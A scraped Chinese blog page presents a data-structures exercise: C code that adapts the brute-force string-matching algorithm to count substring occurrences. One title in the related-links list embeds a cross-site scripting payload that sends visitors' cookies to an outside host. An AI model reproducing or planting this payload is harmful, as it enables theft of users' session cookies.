数据结构实践——计数的模式匹配
来源:互联网 发布:ubuntu打开u盘命令 编辑:程序博客网 时间:2024/05/18 03:52
本文针对数据结构基础系列网络课程(4):串实践项目。
【项目 - 计数的模式匹配】
采用顺序结构存储串,编写一个算法计算指定子串在一个字符串中出现的次数,如果该子串不出现则为0。
提示:无论BF模式匹配算法,还是KMP算法,都是在找到子串substr后就退出了。解决这个问题,要查找完整个字符串,并将出现的次数记下来。改造这两个算法吧。
[参考解答](头文件sqstring.h见顺序串算法库)
改造BF算法完成求解。
#include <stdio.h>#include "sqString.h"int str_count(SqString s,SqString t){ int i=0,j=0,count=0; while (i<s.length && j<t.length) { if (s.data[i]==t.data[j]) //继续匹配下一个字符 { i++; //主串和子串依次匹配下一个字符 j++; } else //主串、子串指针回溯重新开始下一次匹配 { i=i-j+1; //主串从下一个位置开始匹配 j=0; //子串从头开始匹配 } //在BF算法中,没有下面的这一部分 //这里增加一个判断,可以“捕捉”到已经产生的匹配 if (j>=t.length) //如果j已经达到了子串的长度,产生了一个匹配 { count++; //匹配次数加1 i=i-j+1; //主串从下一个位置开始继续匹配 j=0; //子串从头开始匹配 } } return(count);}int main(){ SqString s,t; StrAssign(s,"accaccacacabcacbab"); StrAssign(t,"accac"); printf("s:"); DispStr(s); printf("t:"); DispStr(t); printf("%d\n",str_count(s,t)); return 0;}
1 0
- 数据结构实践——计数的模式匹配
- 数据结构实践——计数的模式匹配 .
- 第八周实践项目5—计数的模式匹配
- 第八周--数据结构--计数的模式匹配
- 第八周上机实践—项目5—计数的模式匹配
- 数据结构实践——括号的匹配
- 第八周上机实践项目5 - 计数的模式匹配
- 第8周实践项目5-计数的模式匹配
- 第八周实践项目5--计数的模式匹配
- 第八周实践项目 5 计数的模式匹配
- 计数的模式匹配
- 计数模式的匹配
- 计数的模式匹配
- 第八周 数据结构之自建算法库——顺序串【项目5 - 计数的模式匹配】
- 项目五——计数的模式匹配
- 第八周项目5——计数的模式匹配
- 第八周项目5—— 计数的模式匹配
- 第八周项目5—— 计数的模式匹配
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- Android学习实践:10.单选按钮RadioButton
- 开源项目ExplosionField(爆炸特效)源码分析
- URLClassLoader使用方法及事例程序
- lightoj1418Trees on My Island【pick公式】
- 数据结构实践——计数的模式匹配
- ARM64的启动过程之(一):内核第一个脚印
- BC#59 (div.2) B
- 欢迎使用CSDN-markdown编辑器
- linux(centos)下非root用户执行管理命令
- poj2488
- C语言初学记录
- yum源配置
- 数据结构实践项目——串